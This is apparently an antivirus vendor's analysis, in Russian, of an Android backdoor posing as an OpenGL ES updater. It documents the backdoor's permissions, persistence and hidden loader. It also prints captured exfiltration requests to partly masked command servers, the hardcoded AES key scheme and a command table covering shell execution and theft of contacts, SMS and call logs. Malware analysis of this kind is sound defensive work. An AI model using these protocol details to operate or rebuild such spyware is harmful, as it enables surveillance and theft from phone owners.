SHA1:
- 3f7446ae6a5db4165498e4ad26bfa30a141e9471
Бэкдор, работающий на устройствах под управлением ОС Android. Впервые был обнаружен в каталоге Google Play, где распространялся под видом программы для обновления графического интерфейса OpenGL ES. Позволяет злоумышленникам дистанционно контролировать зараженные устройства, красть конфиденциальные данные, устанавливать приложения и запускать произвольный код.
Начало работы
После инсталляции и запуска пользователем Android.Backdoor.736.origin отображает окно, в котором находится кнопка для «проверки» наличия обновлений OpenGL ES. При ее нажатии он имитирует поиск новых версий. Никаких полезных действий троянец на самом деле не выполняет.
Бэкдор запрашивает доступ к следующим системным разрешениям:
- android.permission.ACCESS_COARSE_LOCATION;
- android.permission.READ_CONTACTS;
- android.permission.GET_ACCOUNTS;
- android.permission.READ_PHONE_STATE;
- android.permission.READ_EXTERNAL_STORAGE;
- android.permission.WRITE_EXTERNAL_STORAGE.
Затем он пытается получить разрешение на отображение окон поверх других работающих программ, для чего открывает соответствующий раздел системных настроек:
Android.Backdoor.736.origin создает на одном из рабочих столов главного экрана ярлык для своего запуска. После того как пользователь закрывает окно троянца, тот удаляет оригинальный значок. В результате если владелец зараженного устройства решит удалить вредоносную программу через ярлык, он удалит только его, и Android.Backdoor.736.origin останется в системе.
Бэкдор активен постоянно и может запускаться несколькими способами:
- при открытии вредоносной программы самим пользователем;
- при загрузке устройства;
- при получении сообщения через Firebase Cloud Messaging.
Основные функции троянца находятся в отдельном программном модуле, который расположен в зашифрованном файле /assets/opengllib (Android.Backdoor.735.origin). При каждом старте Android.Backdoor.736.origin расшифровывает и загружает этот файл в оперативную память с использованием класса DexClassLoader.
Выполнение команд
Для получения команд троянец может связываться с несколькими управляющими серверами. Например:
- http://wand.gasharo********.com;
- http://heal.lanceb*******.com.
Кроме того, злоумышленники могут отправлять команды через сервис Firebase Cloud Messaging.
После запуска Android.Backdoor.736.origin передает на сервер техническую информацию о зараженном устройстве, после чего троянский сервис поддерживает с ним постоянную связь. Интервал между обращениями к серверу киберпреступники могут задавать дистанционно.
Пример отправляемого троянцем запроса:
POST {http://heal.lanceb*******.com/feed/site.rss?t=1562414491303&c=0&s=324} HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; D6603 Build/23.5.A.0.575)
Accept-Encoding: identity
Content-Type: application/json; charset=utf-8
Content-Length: 240
Host: heal.lanceb*******.com
Connection: Keep-Alive
{
"49291241":"ba12208a80f1e578a2b4acd0cbee07a3",
"49291332":2969,
"49291349":"{\"320\":\"3.0\",\"288\":\"2019_07_06_15_01_49\",\"338\":\"0\",\"295\":100,\"364\":0}"
}
response:
[
{
"908":174414,
"920":39110,
"980":"{\"Type\":0}",
"1056":300,
"1125":0,
"1042":1
},
{
"908":174415,
"920":38289,
"980":"{\"Type\":0}",
"1056":300,
"1125":1,
"1042":1
},
{
"908":174416,
"920":38822,
"980":"{\"Type\":0}",
"1056":300,
"1125":2,
"1042":1
},
{
"908":174417,
"920":38862,
"980":"{\"Type\":0}",
"1056":300,
"1125":3,
"1042":1
},
{
"908":174418,
"920":38891,
"980":"{\"Type\":0}",
"1056":300,
"1125":4,
"1042":1
},
{
"908":174419,
"920":38982,
"980":"{\"Type\":1,\"Distance\":0,\"Time\":0,\"Save\":0}",
"1056":300,
"1125":5,
"1042":1
}
]
Все отправляемые на сервер данные шифруются алгоритмом AES. Ключом шифрования выступает строка 3gRant5.167JGvenaLWebB0, к которой добавляется текущее значение системного времени, представленное в виде числа. Это число генерируется методом System.currentTimeMillis(). Значение текущего времени с вычтенным из него числом 0x47C7L передается на сервер в параметре t:
http://heal.lanceb*******.com/feed/site.rss?t=1562414491303&c=0&s=324
Этот же ключ используется для шифрования ответа сервера. В результате каждый запрос к серверу шифруется отдельным ключом.
Пример ответа сервера, в котором содержится команда:
"908":174414,
"920":39110,
"980":"{\"Type\":0}",
"1056":300,
"1125":0,
"1042":1
где:
- 908 — идентификатор команды;
- 920 — тип команды;
- 980 — параметры для выполнения команды (например, ссылка на файл, который нужно скачать, или shell-команды, которые необходимо выполнить).
- 1056 — время, которое троянец ожидает перед выполнением следующей команды.
Типы команд, выполняемые Android.Backdoor.736.origin:
Код команды | Описание |
---|---|
38192 | Запустить активность, указанную в команде |
38289 | Собрать и отправить на сервер информацию об установленных приложениях |
38382 | Скачать исполняемый файл и запустить его с помощью shell-команды |
38446 | Загрузить файл с сервера |
38523 | Загрузить указанный файл на сервер |
38585 | Собрать и отправить на сервер информацию о файлах в указанном каталоге, либо информацию о файлах на карте памяти |
38624 | Выполнить shell-команду, полученную от сервера, и отправить результат на сервер |
38682 | Загрузить и установить приложение одним из трех способов:
|
38822 | Получить информацию о контактах из телефонной книги и загрузить ее на сервер |
38862 | Получить и отправить на сервер информацию об СМС-сообщениях |
38891 | Получить и отправить на сервер журнал телефонных вызовов пользователя |
38982 | Отправить на сервер информацию о местоположении устройства |
39003 | Скачать apk- или dex-файл, загрузить его в память с использованием класса DexClassloader и вызвать метод файла, указанный в команде |
39028 | Не позволять устройству перейти в спящий режим в течение заданного времени |
39054 | Показать уведомление, заданное в команде |
39088 | Запросить разрешения, указанные в команде |
39110 | Отправить на сервер список разрешений, предоставленных троянцу |
Пример выполнения команды 39110 с идентификатором 174414:
POST http://heal.lanceb*******.com/feed/site.rss?t=1562414492708&c=174414&s=4158 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; D6603 Build/23.5.A.0.575)
Accept-Encoding: identity
Content-Type: application/json; charset=utf-8
Content-Length: 888
Host: heal.lanceb*******.com
Connection: Keep-Alive
{
"49291241":"ba12208a80f1e578a2b4acd0cbee07a3",
"49291332":3050,
"49291349":"{\"920\":39110,\"908\":174414,\"1042\":1,\"962\":0,\"980\":\"[{\\\"na\\\":\\\"android.permission.READ_PHONE_STATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.ACCESS_COARSE_LOCATION\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.ACCESS_FINE_LOCATION\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.ACCESS_WIFI_STATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.CHANGE_WIFI_STATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.ACCESS_NETWORK_STATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.CHANGE_NETWORK_STATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.GET_ACCOUNTS\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.INTERNET\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.READ_EXTERNAL_STORAGE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.WRITE_EXTERNAL_STORAGE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.WAKE_LOCK\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.READ_CONTACTS\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.VIBRATE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.SYSTEM_ALERT_WINDOW\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.android.browser.permission.READ_HISTORY_BOOKMARKS\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.android.browser.permission.WRITE_HISTORY_BOOKMARKS\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.RECEIVE_BOOT_COMPLETED\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.REQUEST_INSTALL_PACKAGES\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.android.launcher.permission.INSTALL_SHORTCUT\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.UPDATE_APP_OPS_STATS\\\",\\\"st\\\":0},{\\\"na\\\":\\\"android.permission.RECORD_AUDIO\\\",\\\"st\\\":-1},{\\\"na\\\":\\\"android.permission.INSTALL_PACKAGES\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.google.android.c2dm.permission.RECEIVE\\\",\\\"st\\\":0},{\\\"na\\\":\\\"com.physlane.opengl.permission.C2D_MESSAGE\\\",\\\"st\\\":0}]\"}"
}
response:
[
{
"908":0,
"920":0,
"980":"",
"1056":300,
"1125":0,
"1042":1
}
]